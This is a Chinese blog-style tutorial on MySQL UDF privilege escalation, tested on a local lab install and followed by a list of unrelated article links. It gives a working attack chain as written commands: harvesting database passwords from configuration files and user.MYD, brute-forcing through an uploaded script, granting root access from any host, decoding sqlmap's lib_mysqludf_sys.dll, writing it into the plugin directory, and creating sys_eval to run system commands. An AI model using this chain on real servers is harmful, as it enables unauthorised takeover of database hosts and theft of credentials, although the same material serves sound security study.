• MySQL数据库UDF提权学习


    MySQL数据库UDF提权学习

    ——

    数据库提权的前提条件:
    服务器开启数据库服务及获取到最高权限用户密码。
    除Access数据库外,其他数据库基本都存在数据库提权的可能。

    ——
    ——

    获取数据库用户密码的几个方法

    1、从网站的根目录配置文件中寻找

    我这里以熊海cms1.0为例,网上下载的源码并且搭建在了本地的phpstudy中。
    请添加图片描述

    到网站根目录里找。
    可以根据文件名中敏感的关键字 conn、config、data、sql、common 、inc等去一个个打开查看内容。
    也可以用审计工具去全局搜索关键字。
    请添加图片描述

    打开这个文件,可以直接看到记录的数据库配置信息。
    请添加图片描述

    ——

    2、从mysql数据库安装路径下的配置文件中寻找

    /data/mysql/user.myduser.myi 文件中可能有
    请添加图片描述

    打开user.myd ,看到里面有很多经过加密的密码。
    请添加图片描述

    然后把那一串进行解密。得到密码root
    请添加图片描述

    ——

    3、暴力破解

    而进行暴力破解数据库密码,前提也要数据库支持外部连接,否则无法爆破出密码。
    可以用脚本或工具进行爆破,同时也要准备爆破字典,都可以在网上进行下载。
    而脚本常见的有php版的和python版的。
    相对来说,用php语言写的可以避免数据库不支持外部连接。因为在getshell的条件下直接把php语言的mysql爆破脚本上传到目标服务器上,相当于是服务器直接进行本地爆破。
    即就算目标mysql不支持外联,同样可以爆破。

    *前面所说的获取数据库用户密码,除了暴力破解,都是建立在webshell的条件下获取。webshell是到当前用户权限,而数据库提权也只能提权到当前用户权限,那就好像~~

    ——
    ——

    未开启外部连接的情况

    会出现这样的错误,显示不允许连接到mysql服务。

    ERROR 1130 (HY000): Host ‘192.168.43.153’ is not allowed to connect to this MySQL server

    先通过本地连接mysql查看到只能通过localhost连接root用户。
    请添加图片描述

    执行语句,让所有ip都可以连接到这个mysql服务。
    root@后面的%就是代表任何主机可连接,若需要指定某台主机可连接,把%的位置换成对应IP即可。

    GRANT ALL PRIVILEGES ON . TO root@“%” IDENTIFIED BY “root”;

    再次查看user表中的host和user列可以看到,多了一条数据host:% user:root

    进行刷新, 从mysql数据库的grant表中重新加载权限数据

    FLUSH PRIVILEGES;

    请添加图片描述

    这样,就相当于开启了外部连接了,本来会报错,现在已经可以连接上了。
    请添加图片描述

    ——
    ——

    MySQL数据库udf提权

    MySQL数据库有多种提权方式,这里先只测试udf提权方式。

    udf提权

    udf(user defined function,用户自定义函数),
    mysql的一个拓展接口,通过添加自定义函数,并且我们能够在MySQL中使用这个函数,达到对MySQL功能的扩充。

    udf提权的条件:

    能够远程登录上mysql
    mysql有写入文件的权限,即secure_file_priv的值为空。

    ——

    前提条件查看

    执行语句查看变量secure_file_priv的值。

    当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
    当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
    当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

    请添加图片描述

    看到我这里secure_file_priv的值并不是空,而是null。
    可以在mysql/my.ini中查看是否有secure_file_priv 的参数,如果没有的话我们就添加 secure_file_priv=‘’
    请添加图片描述

    再次查看secure_file_priv的值为空。
    请添加图片描述

    ——

    上传udf的动态链接库文件

    动态链接库就是实现共享函数库概念的一种方式,在windows环境下后缀名为.dll,在linux环境下后缀名为.so 。我们要将该文件放在特定的目录中,该文件中包含了执行系统命令的一些函数

    而这个动态链接库文件(.dll或.so)上传到哪一个位置,根据MySQL版本也有所区别

    小于mysql5.1版本
    C:\WINDOWS\udf.dll 或 C:\WINDOWS\system32\udf.dll
    大于等于mysql5.1版本
    lib\plugin\udf.dll (也就是在安装路径下)

    我这里版本大于5.1 ,所以是上传到lib\plugin\udf.dll位置。
    可以用select @@plugin_dir 查询plugin路径
    请添加图片描述

    但实际上plugin文件夹默认不存在,就只能自己创建了。我这里是5.7版本的。(条件似乎有点多~)
    请添加图片描述

    而说到要上传的这个dll文件,就要自己网上或者哪里找了,一些大马上面有这个功能,可以一键导入。
    在sqlmap和msf里面也有内置。
    sqlmap\data\udf\mysql 路径下Windows和Linux版本都有。
    请添加图片描述

    通过语句

    select @@version_compile_os, @@version_compile_machine;

    查看当前数据库和操作系统的情况。则确定使用Windows和64位的dll文件。
    请添加图片描述

    sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用,原本后缀名为 .dll_.so_ ,需要进行解码。
    sqlmap也自带了解码的py脚本,在 sqlmap/extra/cloak目录下
    请添加图片描述

    在此路径下执行解码命令:

    python3 cloak.py -d -i E:\all-tools\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_

    请添加图片描述

    然后在刚刚的dll目录下就生成了解码后的文件。
    请添加图片描述

    然后就是把这个文件导入到\lib\plugin文件内了。

    需要先通过webshell情况下或者一些文件上传漏洞把这个dll文件上传到可读写的文件夹,然后通过mysql语句再将这个文件移动到\lib\plugin文件夹里。比如这里从网站根目录移动到**\lib\plugin**文件夹。
    sql语句:

    select load_file(‘E:\\phpstudy_pro\\WWW\\lib_mysqludf_sys.dll’) into dumpfile ‘E:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\plugin\\lib_mysqludf_sys.dll’;

    dll文件移动到到 plugin文件夹中
    请添加图片描述

    ——

    创建自定义函数

    函数名为sys_eval,还要用到前面导入的dll文件,udf.dll 的位置代表共享包名称
    引用共享库文件创建存储过程:

    create function sys_eval returns string soname “lib_mysqludf_sys.dll”;

    查看函数

    select * from mysql.func;

    可以看到成功 创建了sys_eval函数
    请添加图片描述

    现在就可以使用该函数执行系统命令了。
    如:

    select sys_eval(‘whoami’)

    请添加图片描述

    过程结束。

  • 相关阅读:
    java剧院售票系统计算机毕业设计MyBatis+系统+LW文档+源码+调试部署
    神经网络照片解读下载,神经网络识别图像原理
    QT之QListWidget的介绍
    Python - 函数|异常|模块|包|类和对象|封装|继承
    GateWay实现负载均衡
    Springboot集成SLF4J+Logback
    深入剖析ThreadLocal使用场景、实现原理、设计思想
    A. Three Doors
    选择OLED透明拼接屏的五大理由:品质、技术、参数、功能、应用
    管理员模式运行cmd或则bat文件的时候,出现路径错误的问题
  • 原文地址:https://blog.csdn.net/Goodric/article/details/125916936